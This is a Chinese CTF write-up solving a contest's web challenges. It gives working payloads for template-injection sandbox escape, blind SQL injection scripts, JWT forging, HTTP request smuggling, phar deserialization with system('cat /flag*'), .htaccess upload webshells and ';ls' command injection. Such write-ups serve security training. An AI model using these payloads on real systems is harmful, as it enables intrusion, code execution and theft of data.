PolarCTF网络安全2026夏季个人挑战赛web全解
Top10大考察
好多功能啊,都想试试
| 功能 | URL | 说明 |
|---|---|---|
| 主页 | home.php | 显示我的笔记列表 |
| 新建笔记 | note.php | 创建/查看/删除笔记,参数 ?id=N |
| 搜索 | search.php | 搜索笔记,参数 ?q=keyword,提示"已启用WAF" |
| 文件上传 | upload.php | 上传图片或 .url 文件 |
| 文件分享 | share.php | 查看已上传文件内容,参数 ?file=path |
尝试路径遍历
share.php?file=../../../flag.txt,返回:
路径遍历攻击已被拦截!
尝试 ....//、%2e%2e%2f 等 bypass 均被拦截
尝试sql
提示"已启用 WAF 防护"。测试:
- ' OR 1=1-- - → 返回空结果(无报错,可能参数化查询或被过滤)
- ' UNION SELECT 1,2,3-- - → WAF拦截!
- UN/**/ION SEL/**/ECT → 绕过WAF但依然空结果
尝试SSTI
{{7*7}}原样显示
尝试文件上传
仅允许上传 jpg/jpeg/gif/png 图片和 .url 快捷方式文件。图片上传检验 MIME 类型。
.url 文件格式是Windows快捷方式文件
[InternetShortcut]
URL=file:///flag
访问 share.php?file=uploads/{hash}.url,返回:
<pre>flag{SSRF_WAF_Byp4ss_Curl_Url_2026Summer}</pre>
偷吃蟠桃
小游戏玩一下,第二关要1000000分才能拿flag,但总分全拿到也没这么多
查看源代码,找到传参格式
我们POST
score=1000000&level=2&passed=1
拿到flag
狗黑子的股市之路
抓包看看,设置负数没反应,repeat重新发包金额也不变
扫目录发现有flag.php能兑换flag但提示资金不足
不过抓flag.php兑换flag的包发现post传参check=no
改成check=yes就拿到flag了
路飞的HTTP协议冒险
第一关要吃肉,点击一次吃一块
抓包改meat=999就ok
然后第二关说
香克斯:路飞,你需要获得橡胶(rubber)的力量(power)才可以变强。
半天想不出来是什么
应该是get请求
/devil_fruit.php?power=rubber
进入下一关
血液流速: 过低 ✖
限制器状态: 未解除 ✖
拿hint
罗宾:路飞,你需要让血液(blood)加速(boost),并将身体机能的限制(limit)解除(unlock)来进入二档打败cp9.
post传参
blood=boost&limit=unlock
提示二档开启成功
进入下一关
拿hint
弗兰奇:路飞,男人就该用点“特别的方式”沟通!比如带上值为 BoneInflate的请求头X-Luffy-Gear3.
加http头
X-Luffy-Gear3: BoneInflate
进入下一关,拿hint
雷利:路飞,修行的证明,往往留在浏览器里。你需要gear4和Trainer的认证,记住,我是海贼王罗杰的副手Rayleigh,期待着你化身BoundMan的模样
认证?抓包看看没有东西,加个cookie试试
gear4=BoundMan; Trainer=Rayleigh
进入最后一关
在甚平的注视下,你试图清除那段盘踞心底的战争阴影。
可这道封印并不像刀剑可斩、火焰可焚。
它仿佛在等待一种更“准确”的确认。
当前状态: 封印仍存在 ✖
本次方式: GET
净化受阻
这道封印并不排斥你的到来,但它不会因旁观而消散。
hint
甚平:路飞,清除之前,先确认它仍是当前状态。否则,这道封印不会接受你的请求。
不知道改干嘛了
注意到回显中有本次方式:GET
改成POST请求,回显也相应变成POST
那换成DELETE呢?
当前状态: 封印仍存在 ✖
本次方式: DELETE
条件确认: 缺失 ✖
净化失败
甚平低声道:真正的斩断,不是盲目出手。先确认你面对的,正是当前这一道封印。
要确认面对的是当前这一道封印...
换成PUT
方式错误
你尝试了某种方式,但这道封印并不会对此作出回应。
其他的请求方法也都一样
其实问题出在响应头
Etag: "seal-memory-v1"
Etag通常用来作为当前资源的实体标签(需要用来确认状态)
结合要确认你面对的正是这一道封印
| 需求 | 对应的请求头 |
|---|---|
| 确认资源没变再读取 | If-None-Match |
| 确认资源没变再修改/删除 | If-Match |
| 确认资源没变再读取(时间版) | If-Unmodified-Since |
使用If-Match头
If-Match: "seal-memory-v1"
请求方法设为DELETE
flag{15b606dc5a9492c260984aa627338bfd}
dariy
首页好大的字
Record your thoughts with our fancy template system
直接七七四十九发现成功
尝试拿flag,有waf
paylaod
{{ (url_for|attr('\x5f\x5fglobals\x5f\x5f'))['sys'].modules['builtins']|attr('open')('/flag')|attr('read')() }}
构造思路:
我先测了 {{url_for}},能正常回显,说明它可以当跳板。
然后用 attr 过滤器去读它的 globals:
{{url_for|attr('\x5f\x5fglobals\x5f\x5f')}}
这里的 \x5f 是下划线 _,作用是避免在原始输入里直接出现 globals 这种明显特征。
这里返回的是一个全局字典,里面直接有 sys,于是可以走:
{{(url_for|attr('\x5f\x5fglobals\x5f\x5f'))['sys']}}
再用 sys.modules 拿已经加载的模块。这里我不走 os.popen,因为 WAF 会拦 popen 相关链路。
最终选择 builtins.open
{{(url_for|attr('\x5f\x5fglobals\x5f\x5f'))['sys'].modules['builtins']|attr('open')('/flag')|attr('read')()}}
你会渗透吗
用提示的测试账号登录
抓下载图片的http包
/api.php?action=download&file=picture/%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%9B%B8%E9%81%87.png
第一次相遇.png
疑似任意文件下载?
下载index.php
<?php
session_start();
if (isset($_SESSION['user_id'])) {
header('Location: /home.php');
exit;
}
?>
home.php
<?php
session_start();
if (!isset($_SESSION['user_id'])) {
header('Location: /index.php');
exit;
}
$username = $_SESSION['username'];
$role = $_SESSION['role'];
// 如果是admin,显示flag页面
if ($role === 'admin') {
header('Location: /admin.php');
exit;
}
// 如果是Squirtle,显示个人主页
if ($username === 'Squirtle') {
header('Location: /squirtle.php');
exit;
}
?>
下载admin.php,拿到flag
flag{4323ce6fff96d58cfd37f18747e28c18}
身份权限校验系统
身份权限校验系统
当前权限:普通用户
提示:参数中不能出现 admin 关键字
抓包扫目录都没有收获
看源代码发现一句话
CTF 变量覆盖挑战
不懂
尝试传有关于admin的参数
最终index.php?is_admin=1
七人组档案
点击查看支线剧情
听着,小子
沃特在暗网藏了个心理评估终端。
祖国人快失控了,那个终端里有初代化合物V的位置。
帮我去一趟。但有个破防火墙挡着。
网页源码里留了点东西,自己找。
找到之后,潜入到他们的系统内部,破解最终初代化合物V的位置!
扫目录没有收获,看源代码
<!-- hint ----------------------------------------------------------------->
<button hidden onclick="jumpToTarget()">线索</button>
</div>
</div>
<div class="slogan">
<div class="divider"></div>
<div class="slogan-text">
“超级英雄不是问题,问题是——<span>谁在控制他们</span>?”
</div>
<div class="divider" style="margin-top: 40px;"></div>
</div>
删掉hidden onclick="
出现新的按钮,点击
听着,小子
沃特那破安全系统会检查 User-Agent,但有个叫 X-Vought-Token 的头它们懒得拦
假装你是内部的人——用祖国人(Homelander)的身份混进去!
使用X-Vought-Token: Homelander访问

查看来信
很好,小子
你已经成功进入了沃特公司的内部系统!
他们的数据库查询系统存在严重漏洞,就看你的了!
如果你想获得最高权限:。
找出沃特公司老总的账号和密码
他叫什么来着...斯坦埃德加(StanEdgar)?
使用查询功能
输入数字,回显
禁止输入一切数字和过滤字符串!(=/ascii/所有截取字符串的函数)
输入aa回显404
输入true空白回显
提示true会代替一切,布尔盲注吗
python sqlmap.py -u http://4e64025f-3383-4b99-82dd-c9e6afb64ba3.www.polarctf.com:8090/level1/Vought_Internal_system1917.php?id=111 -H "X-Vought-Token: Homelander" --level=1 --risk=3 --batch
跑不出来
尝试以下payload
true and (select database()) like '{result + j}%'
#vought
true AND EXISTS(SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA LIKE 'vought' AND TABLE_NAME LIKE '{result + j}%')
#members
true AND (SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA LIKE 'vought' AND TABLE_NAME LIKE 'members')LIKE '{result + j}%'
#id,member,keyword
true AND (SELECT GROUP_CONCAT(member,keyword) FROM members)LIKE '{result + j}%'
#homelanderqgxmyznp,queenmaeveftrhwjkc,atrainbksqadme,stanedgarzpexnlot.....
import requests
import string
url = "http://4845c17a-356f-423f-bed6-da4261f41b45.www.polarctf.com:8090/level1/Vought_Internal_system1917.php?id="
result = ""
for i in range(1, 100):
for j in string.ascii_letters + '_' + ',':
payload = f"true and (select database()) like '{result + j}%'"
re = requests.get(url=url + payload)
if '404' not in re.text:
result += j
print(result)
break
写脚本的时候有个小问题,最开始我的脚本爆破使用
for j in string.ascii_letters + string.digits + '_' + ',':
问题是这道题的输入有数字就会提示被过滤,这样也满足'404' not in re.text:
爆破结果就会带着一个0,然后再爆破下一位
爆破到第一个a,由于payload中有数字,依旧满足'404' not in re.text:,最后输出就会变成0aaaaaaaaaaaaaaaaa
payload构造的时候也有小问题,网页版ds给出的payload是
true AND EXISTS(SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_SCHEMA LIKE 'vought' AND TABLE_NAME LIKE 'members' AND COLUMN_NAME LIKE '{result + j}%')
我们的预期回显是id,member,keyword
但是这个payload判断的是exists
按照字母顺序,a%匹配字段首字母,轮到i的时候匹配到了id
但是我们用的是COLUMN_NAME LIKE=来匹配,只匹配单个列的列名
id之后再跟任何东西,这个整体都不是一个列名
登录
我们拿最后一个payload的回显
stanedgarzpexnlot
GROUP_CONCAT(member,keyword)
账号stanedgar
密码zpexnlot
登陆后查看五号化合物坐标
JWT令牌格式错误!需要三段式: header.payload.signature
还是先查看源代码吧
提示role权限不够
把cookie中role改为admin即可
<?php
highlight_file(__FILE__);
// ==================== 简单JWT实现 ====================
function base64url_encode($data)
{
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode($data)
{
return base64_decode(strtr($data, '-_', '+/'));
}
// JWT签名密钥 (藏在源码里,你有本事就自己签一个令牌!)
$jwt_secret = "Vought_CompoundV";
if (isset($_POST['location'])) {
$token = $_COOKIE['jwt_token'] ?? '';
if (empty($token)) {
echo '<script>alert("缺少JWT令牌!请先获取有效的jwt_token");</script>';
} else {
$parts = explode('.', $token);
if (count($parts) !== 3) {
echo '<script>alert("JWT令牌格式错误!需要三段式: header.payload.signature");</script>';
} else {
$header = json_decode(base64url_decode($parts[0]), true);
$payload = json_decode(base64url_decode($parts[1]), true);
// 计算有效签名
$valid_sig = base64url_encode(hash_hmac('sha256', "$parts[0].$parts[1]", $jwt_secret, true));
if ($header === null || $payload === null) {
echo '<script>alert("JWT解析失败!header和payload需要是有效JSON的Base64URL编码");</script>';
} elseif (!hash_equals($valid_sig, $parts[2])) {
echo '<script>alert("JWT签名验证失败!密钥不匹配");</script>';
} elseif (!isset($payload['access']) || $payload['access'] !== 'compound_v') {
echo '<script>alert("JWT权限不足!需要 access = compound_v");</script>';
} else {
//......
}
}
}
}
我们尝试自己签名
<?php
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
$jwt_secret = "Vought_CompoundV";
$header = json_encode(['alg' => 'HS256', 'typ' => 'JWT']);
$payload = json_encode(['access' => 'compound_v']);
$b64_header = base64url_encode($header);
$b64_payload = base64url_encode($payload);
$signature = hash_hmac('sha256', "$b64_header.$b64_payload", $jwt_secret, true);
$b64_signature = base64url_encode($signature);
$jwt = "$b64_header.$b64_payload.$b64_signature";
echo $jwt;
#eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3MiOiJjb21wb3VuZF92In0.ANdvTV4XOHONEhUhUuujsWO06tDdNzM-qR8MPXxH9Qk
拿到坐标
40.7128,-74.0060_VoughtTower_B73_FounderVault_CompoundV_Original
交给布彻尔
他说坐标的md5就是flag
flag{dee804d0504af6a1cdce236481eee802}
Escape, escape!
感觉功能有点多,大体浏览一遍
历史环境仍保留仅供内网排障的调试组件
如需模板表达式预览或历史内容回放,请遵循内部流程,不建议直接暴露在公共入口后方。
这句话有点意思
可能需要用历史环境找flag
有个消息回显功能
/echo?msg=ops-check
回显
echo: ops-check
尝试SSTI和rce无果,但是发现#后的内容会被注释掉?
抓包看一眼,没什么特别的
就是响应头中有一个
Server: Northstar-Gateway
ai说因为存在反向代理
可以尝试http走私
之前浅浅学过http走私但没有认真总结过
推荐大佬文章https://www.freebuf.com/articles/web/375462.html
简单概括就是
代理和后端是两个不同的程序,它们解析 HTTP 的方式可能不同:
代理认为: Content-Length 有效 → 按长度截取
后端认为: Transfer-Encoding 有效 → 按 chunked 解析
同一个请求在两端眼中结构不同 → 你可以构造请求让代理放行,但后端实际执行的是另一个意思 → 绕过代理的过滤规则
Content-Length(固定长度)
发送正文之前,就已经知道正文有多长,直接写在头部
- HTTP 响应(原始格式):
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 5
hello
- 逐字节解析:
| 部分 | 内容 | 说明 |
|---|---|---|
| 头部 | HTTP/1.1 200 OK\r\n...Content-Length: 5\r\n\r\n |
告诉浏览器:正文有 5 个字节 |
| 正文 | h e l l o |
恰好 5 个字节,读取完毕,连接可以关闭或复用 |
- 浏览器行为:读到第 5 个字节
o后,立即停止读取正文,不会多等。
Transfer-Encoding: chunked(分块传输)
不知道(或不提前计算)正文总长度,每发一块数据,先发这一块的大小(十六进制),再发数据本身,最后发一个 0 长度的块表示结束。
- HTTP 响应(原始格式):
HTTP/1.1 200 OK
Content-Type: text/plain
Transfer-Encoding: chunked
5
hello
0
- 逐行解析(注意
\r\n是关键):
| 行 | 内容(含不可见字符) | 含义 |
|---|---|---|
| 1 | 5 + \r\n |
第一个块的长度是 5 字节(十六进制,实际就是 5) |
| 2 | hello + \r\n |
真正的数据 5 字节 |
| 3 | 0 + \r\n |
块长度为 0 → 传输结束 |
| 4 | (紧跟着的 \r\n 是协议要求) |
最后两个 \r\n(一个来自 0\r\n,另一个来自空行) |
- 浏览器行为:
- 读取块大小
5; - 读取 5 字节数据
hello; - 读取下一个块大小
0; - 知道结束,停止读取。
回到本题,我们首先探测下是否存在走私
HTTP/1.1 200 OK
Content-Length: 6
Transfer-Encoding: chunked
0
G
实际是0\r\n\r\nG总共六个字符
CL会收到
0
G
TE收到0直接结束
扫目录发现/admin回显
forbidden by proxy
尝试走私访问
POST / HTTP/1.1
Host: a10af806-d171-4090-bd9f-fbe971d01cb9.www.polarctf.com:8090
Sec-GPC: 1
Priority: u=0, i
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept-Encoding: gzip, deflate
Referer: http://a10af806-d171-4090-bd9f-fbe971d01cb9.www.polarctf.com:8090/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length:
0
GET /admin HTTP/1.1
Host: a10af806-d171-4090-bd9f-fbe971d01cb9.www.polarctf.com:8090
Sec-GPC: 1
Priority: u=0, i
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept-Encoding: gzip, deflate
Referer: http://a10af806-d171-4090-bd9f-fbe971d01cb9.www.polarctf.com:8090/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
CL空出来自动填充
回显
no such admin route
再在/admin下扫一遍目录
注意低并发,不然....
扫出来render
error: SyntaxError: invalid syntax (<string>, line 0)
fuzz参数发现/admin/render?expr=7*7居然回显49???
(ai太强了)
开始ssti
/admin/render?expr=().__class__
回显
blocked: __
尝试绕过
已知被ban:
__ open globals os
sys import eval exec
read subclasses builtins
先验证().__class__可行
尝试使用getattr搭配chr绕过waf:(%2b是+)
?expr=getattr((),chr(95)%2bchr(95)%2b'class'%2bchr(95)%2bchr(95))
<class 'tuple'>
再接().__class__.__base__.__subclasses__()
找有__globals__的子类,方法是取每个类的 __init__ 方法,再取该方法的 __globals__
[
g
for c in subclasses()
for g in [getattr(getattr(c, '__init__', None), '__globals__', None)]
if g
]
之后再拼接__builtins__['__import__']('os')
拿到os之后再拼接os.popen('RCE').read()即可完成完整payload
这里贴一个帮助生成payload的脚本
#!/usr/bin/env python3
"""
输入 Python 表达式, 自动转为 getattr + chr() 格式, 绕过黑名单。
用法:
python auto_payload.py "().__class__.__base__.__subclasses__()"
python auto_payload.py "().__class__.__base__.__subclasses__()[0].__globals__"
python auto_payload.py "().__class__.__base__.__subclasses__()[0]"
"""
import ast
import sys
import re
from urllib.parse import quote
def chrify(s):
return "+".join(f"chr({ord(c)})" for c in s)
def convert(node):
t = type(node)
if t is ast.Expression:
return convert(node.body)
if t is ast.Tuple:
items = ", ".join(convert(i) for i in node.elts)
return f"({items})" if len(node.elts) != 1 else f"({items},)"
if t is ast.Constant:
if isinstance(node.value, str):
return chrify(node.value)
return repr(node.value)
if t is ast.Name:
return node.id
if t is ast.Attribute:
# x.y -> getattr(x, chrify("y"))
obj = convert(node.value)
return f"getattr({obj},{chrify(node.attr)})"
if t is ast.Call:
func = convert(node.func)
args = ", ".join(convert(a) for a in node.args)
kwargs = ", ".join(f"{kw.arg}={convert(kw.value)}" for kw in node.keywords)
all_args = args
if kwargs:
all_args = all_args + ", " + kwargs if all_args else kwargs
return f"{func}({all_args})"
if t is ast.Subscript:
value = convert(node.value)
slice_ = convert(node.slice)
return f"{value}[{slice_}]"
if t is ast.List:
items = ", ".join(convert(i) for i in node.elts)
return f"[{items}]"
if t is ast.ListComp:
elt = convert(node.elt)
generators = " ".join(
f"{'' if g.is_async else ''}for {convert_comp_target(g.target)} in {convert(g.iter)}"
+ "".join(f" if {convert(if_clause)}" for if_clause in g.ifs)
for g in node.generators
)
return f"[{elt} {generators}]"
if t is ast.comprehension:
pass # handled in ListComp
if t is ast.NameConstant:
return repr(node.value)
# fallback
raise ValueError(f"Unsupported AST node: {t.__name__} {ast.dump(node)}")
def convert_comp_target(node):
if isinstance(node, ast.Name):
return node.id
if isinstance(node, ast.Tuple):
return "(" + ", ".join(convert_comp_target(e) for e in node.elts) + ")"
return ast.dump(node)
def main():
if len(sys.argv) < 2:
expr = input("expr> ")
else:
expr = sys.argv[1]
tree = ast.parse(expr.strip(), mode="eval")
result = convert(tree.body)
print()
print("=== 转换结果 ===")
print(quote(result))
print()
print("=== 长度: ===", len(result))
if __name__ == "__main__":
main()
本题用法:
python auto_payload.py "[g for c in ().__class__.__base__.__subclasses__() for g in [getattr(getattr(c, '__init__', None), '__globals__', None)] if g][0]['__builtins__']['__import__']('os').popen('RCE').read()"
拿着生成的payload去
/admin/render?expr=PAYLOAD
即可
有个假flag在系统环境变量里,真的flag在app.py中(或者flask的配置中,参考b站官方解析视频)

flag{proxy_smuggling_and_sandbox_escape}
其实最后才发现
getattr((),'_'+'_'+'class'+'_'+'_')
不用chr也可以,无所谓了,改一下脚本的事
本来想直接接fenjing一把梭的
但尝试均失败
我先抓包尝试使用crack-request功能
python -m fenjing crack-request -f http.txt --host 'fa81ba8e-27c1-4df6-8e54-7bbe3c7b727a.www.polarctf.com' --port 8090
由于fenjing默认payload有符号包裹,我还让gpt给我修改了下
但是failed,嗦不出来
我又想将fuzz出来waf关键词通过--waf-keyword传参,但是不知道为什么--waf-keyword "__"生成的payload还带有__
或者就当作python库使用吧
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
blacklist = [
"__" , "open" , "globals" , "os",
"sys" , "import" ,"eval" , " exec",
"read" , "subclasses" ,"builtins",
]
return all(word not in s for word in blacklist)
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "ls")
# config_payload = config_payload(waf)
print(f"{shell_payload=}")
# print(f"{config_payload=}")
#{{(cycler.next['_'+'_'+'g''lobals'+'_'+'_']['o''s']['po''pen']('ls'))['r''ead']()}}
会回显cycler is not defined,没办法...
Polar_校园图库
文件上传,文件预览
看一眼源码,发现view.php有
require_once('classes.php');
并且classes.php
<?php
class Helper {
public $type;
public $cmd;
function __destruct() {
if ($this->type === 'eval') {
eval($this->cmd);
}
}
}
?>
我们尝试上传一个含有序列化内容的图片,使用phar伪协议读取
<?php
// 漏洞测试用的恶意 PHAR
class Helper {
public $type;
public $cmd;
function __destruct() {
if ($this->type === 'eval') {
eval($this->cmd);
}
}
}
// 创建 PHAR
$phar = new Phar('999.phar');
$phar->startBuffering();
// 设置 stub,添加gif头
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
// 添加普通文件(必须至少有一个文件)
$phar->addFromString('readme.php', 'This is a test file');
// 设置元数据 - 会被序列化存储
$payload = new Helper();
$payload->type = 'eval';
$payload->cmd = 'system("cat /flag*");';
$phar->setMetadata($payload);
$phar->stopBuffering();
修改后缀为.png
view.php只接收后缀为.php的参数
讲一下这个路径
view.php?file=phar://uploads/c715a557277a6af0069be7996953b1ea.png/readme.php
如果c715a557277a6af0069be7996953b1ea.png是普通文件,这样请求会报错
但如果他是一个phar文件,这个路径就会访问.phar文件内部的readme.php文件
我们的回显是
This is a test fileflag{polar_in_0606_school}
前半段是.phar文件内部的readme.php,后半段是触发反序列化得到的结果
flag{polar_in_0606_school}
uploadfile
经典文件上传,把常见payload过一遍
含有明显php特征的被识别
<script language="php">echo `ls`;</script>
GIF89a
echo file_get_contents($_GET['f'] ?? '/flag');
均能成功上传,但不可访问
上传.htaccess后
AddType application/x-httpd-php .jpg
可以访问,但没有被执行
其实还有一种方法,把命令进行base64编码
PD9waHAgc3lzdGVtKCJscyAvIik7Pz4=
再在.htaccess后拼接一句
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=55.jpg"
访问上传的文件
bin dev etc home lib linuxrc media mnt proc root run sbin srv sys thisisfl@g.php tmp usr var PD9waHAgc3lzdGVtKCJscyAvIik7Pz4=
同理,读取thisisfl@g.php
(没有回显,flag藏在源码里)
flag{9ba9ef6ddfbe14916fa2d3337b427774}
BH
==== It's another order execution. ====
Carefully look at the purpose of the code before executing any code
System executing command:
ping -c 2 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.031 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.041 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.031/0.036/0.041 ms
<?php
error_reporting(0);
echo "==== It's another order execution. ====<br>";
echo "Carefully look at the purpose of the code before executing any code<br><br>";
$input = $_GET['cmd'];
$command = "ping -c 2 127.0.0.1" . $input;
echo "System executing command:<br>$command<br><br>";
echo "<pre>";
passthru($command);
echo "</pre>";
highlight_file(__FILE__);
?>
?cmd=;ls
发现有flag.php,直接cat
依旧不显示,藏在源代码中
flag{030e77f73a4cb26a111daf0470c3956f}

浙公网安备 33010602011771号